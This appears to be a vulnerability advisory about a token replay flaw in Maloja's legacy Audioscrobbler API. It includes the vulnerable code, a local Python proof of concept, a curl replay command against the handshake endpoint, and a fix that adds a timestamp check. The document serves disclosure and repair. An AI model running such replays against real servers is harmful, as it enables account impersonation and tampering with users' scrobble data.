Authentication Replay Attack — Captured Handshake Tokens Never Expire
Description
The Legacy Audioscrobbler API's check_token() function validates authentication tokens without checking timestamp freshness. A captured handshake token can be replayed indefinitely — days, months, or years later — and will always be accepted. The Last.fm protocol specification requires |server_time - ts| < 300 seconds, but Maloja performs no such check.
Vulnerable Code
File: maloja/apis/audioscrobbler_legacy.py, lines 103-105
def check_token(self, received_token, expected_key, ts):
expected_token = md5(md5(expected_key) + ts)
return received_token == expected_tokenWhat's missing:
- ❌ No timestamp freshness check (
abs(current_time - ts) < MAX_AGE) - ❌ No nonce/replay tracking (no database table for used tokens)
- ❌ No session expiration after handshake
Compare with Last.fm's official specification:
The token is
md5(md5(password) + timestamp). The timestamp must be within 300 seconds of the current time.
Proof of Concept
import hashlib
import time
API_KEY = "user_api_key"
# Step 1: Attacker captures a legitimate handshake (via network sniffing, log leak, MITM)
ts_original = str(int(time.time()))
inner = hashlib.md5(API_KEY.encode()).hexdigest()
auth_token = hashlib.md5((inner + ts_original).encode()).hexdigest()
print(f"Captured handshake:")
print(f" timestamp: {ts_original}")
print(f" token: {auth_token}")
# Step 2: Attacker waits any amount of time...
time.sleep(2) # In real attack: days/months/years
# Step 3: Replay the same handshake
now = int(time.time())
diff = now - int(ts_original)
# Server-side check_token (identical to Maloja's code):
expected = hashlib.md5((hashlib.md5(API_KEY.encode()).hexdigest() + ts_original).encode()).hexdigest()
result = (auth_token == expected)
print(f"\nReplay after {diff} seconds:")
print(f" Server accepted: {result}")
print(f" Time elapsed: unlimited (no expiry check)")Attack Scenario
- Attacker captures one handshake via:
- Network sniffing on unencrypted HTTP connections
- Log file exposure (Maloja logs may contain request parameters)
- Man-in-the-middle attack
- Shared hosting / reverse proxy access logs
- Attacker replays the captured
(token, ts)pair at any future time:
curl "http://maloja:42010/apis/audioscrobbler_legacy/?hs=true&p=1.2&c=app&v=1.0&u=victim&t=<OLD_TS>&a=<OLD_TOKEN>"
# Returns: OK\n<session_key> — regardless of how old the timestamp is- Attacker uses the obtained session key to:
- Submit fake scrobble data
- Delete existing scrobbles
- Manipulate listening history
Impact
- Permanent account impersonation from a single captured request
- Attacker can submit/manipulate scrobble data indefinitely
- No detection — the replayed token is mathematically valid
Suggested Fix
import time
MAX_TOKEN_AGE = 300 # 5 minutes, aligned with Last.fm spec
def check_token(self, received_token, expected_key, ts):
# Validate timestamp freshness
try:
ts_int = int(ts)
except (ValueError, TypeError):
return False
if abs(time.time() - ts_int) > MAX_TOKEN_AGE:
return False # Token expired
expected_token = md5(md5(expected_key) + ts)
return received_token == expected_token